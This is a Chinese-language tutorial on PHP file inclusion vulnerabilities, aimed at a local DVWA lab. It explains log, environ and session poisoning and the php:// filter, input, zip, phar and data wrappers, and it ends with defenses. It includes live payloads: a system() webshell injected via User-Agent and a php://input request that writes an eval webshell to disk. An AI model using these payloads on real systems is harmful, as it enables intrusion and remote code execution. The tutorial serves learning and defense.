文件包含
一、什么是文件包含?
开发人员将需要重复调用的函数全部写入一个文件中,然后对该文件进行包含,这就是文件包含。这样可以减少代码冗余,降低代码后期维护难度。
PHP的文件包含函数:
require
:函数出现错误时,会直接报错并退出程序执行。requi_once
:出错时直接退出,且仅包含一次。include
:函数出现错误时,会抛出一个警告,程序继续执行。include_once
:函数出现错误时,会抛出警告,且仅包含一次。
二、漏洞产生原因
文件包含函数加载的参数没有经过过滤或严格定义,可以被用户控制,使其包含其他恶意文件,导致了执行非预期代码。
三、漏洞利用方式
1、本地文件包含配合日志文件
通过在有传参的地方写上php代码,因为url会将我们的php代码进行编码,所以我们还要在burp里将编码改回来再进行请求
此时,日志文件里就包含了我们的这串php代码,此时我们通过
2、本地文件包含配合/proc/self/environ文件(Linux)
将php代码<?php system($_GET['cmd']);?>
添加到user_Agent
里,再通过传参?page=/proc/self/environ$cmd=id
3、本地文件包含配合session文件
CVE-2018-12613 phpMyAdmin文件包含漏洞
4、利用php协议进行文件包含
- file:// -访问本地文件系统
- http:// -访问http(s)网址
- ftp:// -访问FTP(s) URLs
- php:// -访问各个输入/输出流
- zlib:// -压缩流
- data:// -数据
- phar:// -PHP归档
4.1 file://
http://127.0.0.1/DVWA/vulnerabilitie/fi?page=file://C:/Windows/win.ini
4.2 php://filter
主要用来查看源码,直接包含php文件时会被解析,不能看到源码,所以用filter来读取敏感文件,但是需要进行base64加密传输
名称 | 描述 |
---|---|
resource=<要过滤的数据流> | 这个参数是必须的,它指定了你要筛选过滤的数据流 |
read=<读链的筛选列表> | 参数可选,可以设定一个或多个过滤器名称,以(/)分隔 |
write=<写链的筛选列表> | 参数可选,可以设定一个或多个过滤器名称,以(/)分隔 |
< ; 两个链的筛选列表> | 任何没有以read=或write=做前缀的筛选器列表会视情况应用于读或写链 |
例如:http://127.0.0.1/DVWA/vulnerabilitie/fi?page=php://filter/read=convert.base64-encode/resource=include.php
base64解码即可获得php源码
- 字符串过滤器
- string.rot13 -进行rot13转换
- string.toupper -将字符全部大写
- string.tolower -将字符全部小写
- string.strip_tags -去除空字符、HTML和PHP标记后的结果
- 转换过滤器
- convert.base64-encode -base64编码
- convert.base64-decode -base64解码
- convert.quoted-printable-encode -quoted-printable编码(也是另一种将二进制进行编码的方案)
- convert.quoted-printable-decode -quoted-printable编码
- covert.iconv -实现任意两种编码之间的转换
- 压缩过滤器
- zlib.deflate -压缩过滤器
- zlib.inflate -解压过滤器
- bzip2.compress -压缩过滤器
- bzip2.decompress -解压过滤器
- 加密过滤器
- mcrypt.* - 加密过滤器
- mdecrypt.* -解密过滤器
4.3 php://input
主要用来接收post数据,将post请求中的数据作为php代码执行
例如:
http://127.0.0.1/DVWA/vulnerabilitie/fi?page=php://input
post请求的数据为:<?php fputs(fopen("shell.php","w"), "<?php eval(\$_POST['cmd']);?>");?>
4.4 zip://、bzip2://、zlib://
这三个协议都属于压缩流,可以访问压缩文件中的子文件,压缩文件的路径必须使用绝对路径
格式: zip://[压缩文件绝对路径]#(%23)[压缩文件内的子文件名]
http://127.0.0.1/DVWA/vulnerabilitie/fi?page=zip://C:\Users\86199\Desktop\text.zip%23text.php
text.zip的后缀名不重要,只要是压缩文件即可,改为text.jpg也行
text.php同理,改为txt也可
4.5 phar://
与zip协议类似,但这个可以使用相对路径
格式: phar://[压缩文件绝对/相对路径]/[压缩文件内的子文件名]
http://127.0.0.1/DVWA/vulnerabilitie/fi?page=zip://C:\Users\86199\Desktop\text.zip/text.php
相对路径可以配合文件上传,先上传一个后缀名为 jpg/png 的压缩文件,然后得到文件的路径后可以用相对路径进行访问
4.6 data://
将原本的include的文件流重定向到了用户可控制的输入流中
data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
四、文件包含漏洞防御
- 尽量不使用动态包含,不是必要情况下将
allow_url_include
和allow_url_fopen
设置为关闭 - 对可以包含的文件进行限制:使用白名单的方式,或者设置包含的目录(
open_basedir
) - 严格检查用户输入,参数中不允许出现
../
之类的目录跳转符 - 严格检查变量是否初始化
- 不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行